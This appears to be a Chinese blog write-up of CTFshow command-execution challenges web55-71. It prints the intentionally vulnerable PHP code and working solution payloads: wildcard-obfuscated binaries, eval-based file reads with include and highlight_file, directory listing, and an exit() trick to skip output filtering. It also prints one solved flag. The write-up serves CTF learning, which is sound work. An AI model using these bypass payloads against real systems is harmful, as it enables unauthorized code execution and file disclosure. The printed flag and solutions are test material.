CTFshow命令执行(55-71)

【Ctfer训练计划】——命令执行的解题技巧(持续更新中) ctf命令执行题型解题方法汇总(持续更新中) 阅读详情

Web55

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。

但因为字母不能传入,我们需要使用通配符?来进行代替

?c=/bin/base64 flag.php

替换后变成

?c=/???/????64 ????.???

极限命令执行1

所有环境均为centos7 根目录getflag文件

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag
​
error_reporting(0);
highlight_file(__FILE__);
​
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
            system($ctfshow);
        }else{
            echo("????????");
        }
}
?> 

没有过滤a和 / ?

根据centos7的特性可以直接执行文件

/getflag

payload = /?????a?

Web60

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
​

本关包含了多个方法以及思路进行绕过

Web61

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

show_source('flag.php')

当我们知道了flag.php文件的flag变量名字后也可以使用骚操作:

c=include('flag.php');echo $flag;

Web62

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
​

同61一样

Web63

骚操作+1 如果不知道命名的情况下

c=include('flag.php');var_dump(get_defined_vars());

Web64

同上

目前已知方法:

  • 文件包含

  • 伪协议

  • 高亮显示,源码读取

  • 输出查看变量

  • 日志包含

Web65

c=highlight_file('flag.php');

Web66

flag.php没有flag,真正flag在根目录。你问我怎么知道的?当然是一点点找的

var_dump(scandir('/'));
​
array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" } 
c=highlight_file('/flag.txt');
ctfshow{9c835405-b6cc-49d5-be3f-bb02b8255741}

Web67

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

使用var_dump(scandir("/"));来显示文件夹下的内容

然后使用highlight_file来高亮显示flag

Web68

扫目录,找flag

c=include('/flag.txt'); 没有php标签默认html输出

Web69

var_export(scandir("/"));

c=include('/flag.txt');

Web70

var_export(scandir("/"));

c=include('/flag.txt');

Web71

附件下载,拿到源码

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents(); //得到缓冲区内容
        ob_end_clean();   //将缓冲区清空
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);  //将输出内容进行替换
}else{
    highlight_file(__FILE__);
}
​
?>
​
你要上天吗?

思路:直接不执行后面的代码,exit();

c=var_export(scandir("/"));exit();

c=include('/flag.txt');exit();

[CTFSHOW]命令执行 文章目录web 29web 30web 31web32web40参考文章 web 29 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 我这里只想到五种简便的方法: 通配符 payload1:c=syst 阅读详情

相关推荐

ctfshow web入门 命令执行后篇(web55-web188)

web55 <?php ​ /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 20:03:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com ​ */ ​ // 你们在炫技吗? if(isset($_GET['c']..

ccfly1012的博客 2316

CTFSHOW-文件包含

WEB78 题目: <?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 知识点:php伪协议 php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。 1、php://input

Monica的博客 7376

report_delay_calculation/check_timing/report_annotated_parasitics/report_analysis_coverge

如何debug 一颗cell 或一段net 的delay, 常用的办法是用report_delay_calculation 报这颗cell 或这段net, 会得到形式如下的report, 从该report 中可以得到: 表头需要特别关注的是command, 确定report 的对象及加的option; From/To pin: cell 的input pin 和...

diedai7174的博客 1797

命令执行web入门

我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1。其中%09,%26不受数字被过滤的影响,因为在加载时%09,%26会被解码为空格和分号,也就没有了数字。过滤了冒号,不能用伪协议了,没有过滤英文状态的**()** 和**;这下好了,过滤了字母,但是数字没有过滤,数字?

2201_75316477的博客 2716

奇迹mu服务端DATA文件解析:从基础配置到高级玩法

本文深入解析奇迹MU服务端DATA文件的核心配置与高级玩法,涵盖基础设置、怪物AI系统、技能战斗机制、副本事件管理及物品商城定制。通过详细示例和实用技巧,帮助开发者掌握从经验倍率调整到动态事件触发的全方位配置方法,实现个性化的私服搭建与运营。

weixin_29254673的博客 529

ROS环境下UR机械臂与Realsense相机手眼标定实战指南

本文提供了在ROS环境下,对UR机械臂与Realsense相机进行手眼标定的完整实战指南。详细介绍了从环境搭建、软件包安装、硬件配置到分步数据采集与计算的完整流程,并分享了常见的避坑技巧与精度优化方法,旨在帮助开发者高效、准确地完成标定,为后续的机器人视觉应用奠定坚实基础。

sunny的博客 646

ctf 命令执行总结

命令执行绕过总结 linux系统查看文件命令 more 一页一页的显示文件内容 less 和more类似 head 只显示头几行 tail 只显示最后几行 nl 显示时还输出行号 tailf cat 由第一行开始显示内容,并将所有内容输出 tac 从最后一行倒序显示内容,并将所有内容输出 od 以二进制的方式读取内容 vi 编辑文件 vim 编辑文件,是vi的升级版 sort 将以默认的方式将文本文件的第一列以ASCI

njqfb的博客 3231

别再只做游戏了!用虚幻引擎5(UE5)给你的工厂车间做个数字双胞胎(附数据对接教程)

本文详细介绍了如何利用虚幻引擎5(UE5)构建工业数字孪生系统,实现工厂车间的智能可视化。通过UE5的高质量渲染和实时数据处理能力,结合OPC UA和MQTT协议,打造高效的数据对接方案,提升异常识别和设备管理效率。文章还分享了模型优化、可视化设计及典型工业场景的实战案例,助力企业迈向工业4.0。

weixin_33738555的博客 206

ctf刷题小结

CTF刷题小记,文章同步于我的个人博客,欢迎大家访问

quan9i的博客 7108

stm32F103定时器使用方法

文章目录1、STM32的Timer简介2、普通定时器TIM2-TIM52.1 时钟来源2.2 计数器模式2.3 编程步骤3、程序源代码4、总结 1、STM32的Timer简介 STM32中一共有11个定时器,其中2个高级控制定时器,4个普通定时器和2个基本定时器,以及2个看门狗定时器和1个系统嘀嗒定时器。其中系统嘀嗒定时器是前文中所描述的SysTick,看门狗定时器以后再详细研究。今天主要是研究剩下的8个定时器。 其中TIM1和TIM8是能够产生3对PWM互补输出的高级登时其,常用于三相电机的驱动,时钟

weixin_43582209的博客 4515

Windows系统下复现PointNet++算法

本文详细介绍了如何在Windows系统下复现PointNet++算法,内容包括程序下载、环境配置、数据集准备以及三个主要任务(语义分割、分类、部件分割)的实现步骤和常见报错解决方法。通过遵循本文的指导,用户可以顺利完成PointNet++算法的复现。

LingYi_5的博客 4326

ctfshow web 命令执行 55~71

web72后面真不会做了。

yanxi3329的博客 1102

RK3588开发笔记-5G模块(SIM8200、广和通FM160、移远RM500U)调试笔记

RK3588 CPU提供了丰富的外设接口,本文主要介绍通过usb3.0接口驱动5G模块来实现5g无线数据传输功能。在物联网和边缘计算领域,5G网络支持的高速率、低延时连接为应用带来了更多可能性。RK3588作为一款高性能SoC,适合用于5G联网应用。SIM8200广和通FM160和移远RM500U。在RK3588上调试5G模块可以为设备提供稳定的高速联网能力。本文介绍了如何配置和调试SIM8200、广和通FM160和移远RM500U模块,通过AT指令和QMI/MBIM工具实现5G数据连接。

flypig has a dream! 2669

[ctfshow]web入门——命令执行(web54-web71)

文章目录web54 web54

ShenZ的博客 4583

《拉依达的嵌入式\驱动面试宝典》—C/CPP基础篇(二)

《拉依达的嵌入式\驱动面试宝典》 整合了所有我认为可能遇到的技术面试问题。所有问题及其答案均是我个人学习后查阅资料总结,每个回答都做了仔细的分析,在嵌入式及其驱动面试相关问题解析做到全网独一无二。学习或者转行到嵌入式、驱动开发领域学习的不二之选

拉依达不拉跨的博客 575

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

ctfshow web入门 命令执行

文章目录web29web30web31web32-35web36web37-38web39web40web41web42web43web44web45web46web47-48web49web50-51web52web53web54web55姿势一姿势二姿势三web56web57web58-65姿势一姿势二web66web67web68web69-70web71web72web73姿势一姿势二web74web75-76web77web118web119姿势一姿势二web120web121web122web1

Lum1n0us's Blog 2353

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

【CTFSHOW】web入门命令执行

文章目录写在前面web43web44web45web46web47web48web49web50web51web52web53web53 写在前面 命令执行之前做了一部分,又搁了好久。今天继续补补。 web43 if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } payload: ?c=nl

7ruth0hn的博客 1695

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

【CTFSHOW_Web入门】命令执行

这篇博客由 Algo 创作,旨在尽可能详尽地还原相关题目的解题思路与过程。Algo 十分注重逻辑清晰、步骤完整,也注重内容的可读性与视觉呈现,力求做到图文并茂,细节分明。在排版方面,Algo 尽力使用恰当的标题层级、代码高亮、段落分隔,配合合适比例的截图与标注,以便读者能快速理解每一个关键点与操作步骤。同时,对每一道题的分析都尽力尝试从多角度出发,力求做到“看得懂”、“学得会”、“能复现”。尽管 Algo 已多次校对和调整,但水平有限,难免仍有理解偏差或表述不当之处。

AlgoZZi的博客 1884

CTFshow—web入门——命令执行

web入门——命令执行web29功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 web29 我们对Markdown编辑器进行了一些功能拓展与语法支持,除了标准的Markdown编辑器功能,我们增加了如下几点新功能,帮助你用它写博客

h_adam的博客 5098

CTFshow-命令执行

ctfshow-web 命令执行

weixin_44770698的博客 3661

CTFSHOW(命令执行)【学习记录】

学习记录web29web30web31 web29 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 对 flag 进行了过滤: 姿势学习: c=system('cat f*'); #正则表达式 c=

ximo的博客 2968

【Web】CTFSHOW PHP命令执行刷题记录(全)

期末复习不了一点,不如做点旧题醒一醒手感。每一题都尽量用不同payload,如果相同会合并。

uuzeray的博客 2088

CTFSHOW php命令执行

这里能发现是匹配flag 但是存在高亮 高亮有需要路径同时存在eval 命令执行所以我们传入命令但是过滤了flag我们看看怎么绕过发现了 flag我们绕过正则匹配flag字符串。

m0_64180167的博客 1326

CTFshow_web入门_命令执行(web29-web77、web118-web122、web124)

CTFshow web入门系列持续更新 web入门_命令执行 web29 上源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:26:48 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ er

monster663的博客 1413

ctfshow 命令执行

dev/null文件可以被看作是一个“黑洞”文件。它等价于一个只写的的文件。所有写入它的内容都会永远丢失(因为不可读)。这里说flag在36.php中,那么我们想办法构造处36即可.这里参考大佬的做法。/dev/null 2>&1主要意思是不进行回显,让命令回显,我们进行命令分隔。如下图第一个元素为点号。

m0_74097148的博客 5219

CTFshow web入门之命令执行(web29-web77)

2、然后上传一个new2.php文件并抓包,多试几次,因为不一定生成的临时文件的最后一个字母是大写,文件内容如下。1、先构造一个文件上传的html页面,代码如下(test-fileupdown.html)3、在上传文件的过程中,抓包,之后添加参数c=.%20/?4、所以传入这个参数的意思就是匹配上传command.php所生成的临时文件,并执行。接着直接用cat flag.php查看一下flag.php文件就好了。略(与web41相同)

小白的博客 3436
上一篇: 新手入门永恒之蓝从扫描->持久化
下一篇: 新手简单入门逆向-消除对汇编的恐惧
阿斯顿法国红酒快
博客等级 码龄5年 154粉丝 23原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值